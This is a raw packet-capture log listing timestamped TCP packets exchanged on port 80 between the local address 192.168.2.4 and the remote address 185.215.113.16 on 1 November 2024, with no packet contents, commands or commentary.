Nov 1, 2024 08:50:21.741619110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741624117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741660118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741667032 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741667986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741676092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741698027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741708040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.741756916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.741758108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742315054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742379904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742461920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742472887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742484093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742496967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742523909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742558002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742572069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742584944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742610931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742625952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742630005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742654085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742665052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742672920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742676020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742700100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742701054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742722988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742739916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742750883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742754936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742763042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742774963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742791891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742804050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742820024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742820978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742841959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742858887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742873907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742873907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742877007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742889881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742899895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742911100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742922068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742932081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742940903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742944002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742955923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742971897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.742979050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.742994070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743002892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743015051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743017912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743026018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743043900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743057013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743065119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743102074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743107080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743122101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743134022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743141890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743166924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743343115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743355036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743369102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743385077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743396044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743407965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743432045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743453979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743469954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743469954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743469954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743474960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743486881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743499041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743524075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743530035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743549109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743551970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743561029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743571997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743582964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743582964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743593931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743603945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743604898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743616104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743629932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743642092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743643999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743643999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743654966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743676901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743709087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743763924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743773937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743813038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743837118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743846893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743864059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743875027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743901968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743911982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743925095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743936062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743951082 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.743963003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.743972063 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744004011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744033098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744055033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744066954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744072914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744086027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744122028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744124889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744133949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744144917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744153976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744178057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744206905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744283915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744294882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744304895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744332075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744338036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744349957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744359970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744370937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744383097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744407892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744411945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744411945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744424105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744436979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744448900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744461060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744482994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744482994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744482994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744491100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744510889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744524002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744534969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744550943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744574070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744574070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744576931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744595051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744605064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744617939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744627953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744630098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744638920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744648933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744661093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744672060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744673014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744684935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744694948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744704962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744707108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744729996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744743109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744748116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744754076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744760036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744801998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744801998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744834900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744846106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744872093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744880915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744891882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744913101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744913101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744920015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744931936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744935036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.744941950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744961023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.744982958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745014906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745017052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745026112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745060921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745070934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745071888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745084047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745119095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745130062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745134115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745156050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745196104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745208025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745242119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745249033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745260000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745270014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745295048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745305061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745335102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745346069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745356083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745367050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745382071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745404005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745404005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745408058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745419025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745434046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745460033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745486021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745485067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745485067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745496988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745515108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745523930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745536089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745541096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745548010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745563030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745579004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745579004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745595932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745609045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745640039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745640039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745644093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745713949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745724916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745749950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745763063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745775938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.745791912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745791912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745839119 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.745994091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746006012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746047020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746049881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.746059895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746072054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746085882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746119022 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.746140003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746140957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.746157885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746170998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746185064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746203899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.746210098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746220112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746227980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.746231079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746244907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746268988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746282101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746292114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.746309996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.746309996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.746309996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.762161970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779345036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779385090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779396057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779406071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779422998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779422998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779431105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779443026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779453039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779465914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779515028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779515028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779556990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779568911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779578924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779592037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779599905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779603958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779614925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779619932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779632092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.779670000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.779670000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.810883045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855145931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855175018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855187893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855197906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855218887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855235100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855246067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855253935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855276108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855287075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855295897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855307102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855329037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855329037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855350971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855353117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855364084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855379105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855401039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855415106 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855417013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855427980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855447054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855447054 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855458021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855480909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855496883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855514050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855520964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855531931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855554104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855568886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855571032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855587959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855588913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855600119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855637074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855640888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855640888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855685949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855698109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855741978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:21.855767012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855777979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855787992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:21.855803013 CET	80	49738	185.215.113.16	192.168.2.4
